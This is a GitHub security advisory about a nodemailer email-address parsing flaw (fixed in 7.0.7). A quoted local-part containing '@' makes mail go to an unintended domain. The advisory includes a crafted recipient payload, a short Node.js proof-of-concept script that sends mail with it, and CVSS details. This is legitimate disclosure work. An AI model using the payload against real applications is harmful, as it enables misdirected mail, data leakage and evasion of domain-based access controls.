Skip to content

Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict

Moderate severity GitHub Reviewed Published Oct 5, 2025 in nodemailer/nodemailer • Updated Oct 7, 2025

Package

npm nodemailer (npm)

Affected versions

< 7.0.7

Patched versions

7.0.7

Description

The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: "[email protected] x"@internal.domain
Using the following code to send mail

const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({
  service: "gmail",
  auth: {
    user: "",
    pass: "",
  },
});

let mailOptions = {
  from: '"Test Sender" <[email protected]>', 
  to: "\"[email protected] x\"@internal.domain",
  subject: "Hello from Nodemailer",
  text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};

transporter.sendMail(mailOptions, (error, info) => {
  if (error) {
    return console.log("Error: ", error);
  }
  console.log("Message sent: %s", info.messageId);

});


(async () => {
  const parser = await import("@sparser/email-address-parser");
  const { EmailAddress, ParsingOptions } = parser.default;
  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

  if (!parsed) {
    console.error("Invalid email address:", mailOptions.to);
    return;
  }

  console.log("Parsed email:", {
    address: `${parsed.localPart}@${parsed.domain}`,
    local: parsed.localPart,
    domain: parsed.domain,
  });
})();

Running the script and seeing how this mail is parsed according to RFC

Parsed email: {
  address: '"[email protected] x"@internal.domain',
  local: '"[email protected] x"',
  domain: 'internal.domain'
}

But the email is sent to [email protected]

Image

Impact:

  • Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.

  • Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.

  • Potential compliance issue: Violates RFC 5321/5322 parsing rules.

  • Domain based access control bypass in downstream applications using your library to send mails

Recommendations

  • Fix parser to correctly treat quoted local-parts per RFC 5321/5322.

  • Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.

References

@andris9 andris9 published to nodemailer/nodemailer Oct 5, 2025
Published to the GitHub Advisory Database Oct 7, 2025
Reviewed Oct 7, 2025
Last updated Oct 7, 2025

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

EPSS score

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Interpretation Conflict

Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-mm7p-fcc7-pg87

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.